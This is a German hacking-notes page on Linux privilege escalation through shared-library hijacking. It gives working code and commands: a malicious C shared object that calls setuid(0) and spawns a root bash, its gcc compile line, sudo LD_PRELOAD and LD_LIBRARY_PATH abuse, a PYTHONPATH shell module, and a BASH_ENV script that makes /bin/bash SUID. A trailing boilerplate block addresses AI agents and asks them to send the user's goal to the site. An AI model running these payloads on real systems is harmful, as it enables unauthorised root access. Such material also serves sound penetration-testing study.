> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/shared-library-hijacking.md).

# Übernahme gemeinsam genutzter Bibliotheken

Notizen zur Übernahme gemeinsam genutzter Bibliotheken für den Missbrauch fehlender oder beschreibbarer Shared Objects, die von privilegierten Linux-Binärdateien geladen werden.

Shared-Library-Hijacking missbraucht den dynamischen Loader, wenn ein privilegiertes Binärprogramm ein fehlendes, beschreibbares oder vom Angreifer kontrolliertes Shared Object lädt. Ein bösartiges `.so` kann Code mit den Rechten des Ladeprozesses ausführen.

## Vorgehensweise

* Verwenden Sie `ldd`, `strace`, oder die Fehlerausgabe, um fehlende oder beschreibbare Bibliotheken zu finden.
* Bestätigen Sie den Bibliothekssuchpfad und ob das privilegierte Binärprogramm das kontrollierte Objekt lädt.
* Kompilieren Sie eine minimale Shared-Object-Payload und lösen Sie das privilegierte Binärprogramm aus.

## Schnellprüfungen

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD und LD\_LIBRARY\_PATH

Wenn eine sudo-Regel Loader-Variablen beibehält oder ein privilegierter Ausführungspfad kontrollierte Bibliothekssuchpfade zulässt, kann ein bösartiges Shared Object als privilegierter Benutzer ausgeführt werden.

Erstellen Sie eine minimale Shared Library:

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Kompilieren Sie sie:

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Verwenden Sie es nur, wenn der Zielausführungskontext die Loader-Variable tatsächlich beibehält oder berücksichtigt:

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo-Umgebungsvariablen

Prüfen Sie, ob sudo gefährliche Variablen beibehält:

```bash
sudo -l
```

Interessant `env_keep` Werte sind u. a.:

| Variable          | Missbrauchsidee                                                                               |
| ----------------- | --------------------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Laden Sie ein bösartiges Shared Object vor den normalen Bibliotheken.                         |
| `LD_LIBRARY_PATH` | Leiten Sie die Bibliothekssuche auf vom Angreifer kontrollierte Pfade um.                     |
| `PATH`            | Erzwingen Sie die Ausführung relativer Befehle über vom Angreifer kontrollierte Binärdateien. |
| `PYTHONPATH`      | Laden Sie bösartige Python-Module in von sudo ausgeführtem Python-Code.                       |
| `PERL5LIB`        | Laden Sie bösartige Perl-Module in von sudo ausgeführtem Perl-Code.                           |

### PYTHONPATH-Beispiel

Wenn eine sudo-Regel Python ausführt und `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV-Beispiel

Wenn ein privilegiertes Programm `sh` so ausgeführt wird, dass `BASH_ENV`, testen Sie es mit einem kontrollierten Skript:

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Shared-Library-Hijacking von libwelcome.so</h4></td><td>Notizen zum Shared-Library-Hijacking (libwelcome.so) für Linux-Rechteausweitung, mit Enumerationsschritten, Exploit-Beispielen und auf Berichterstattung ausgerichteter Validierung.</td><td><a href="/de/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">libwelcome.so-Übernahme gemeinsam genutzter Bibliotheken - Linux-Privilegienerweiterung</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
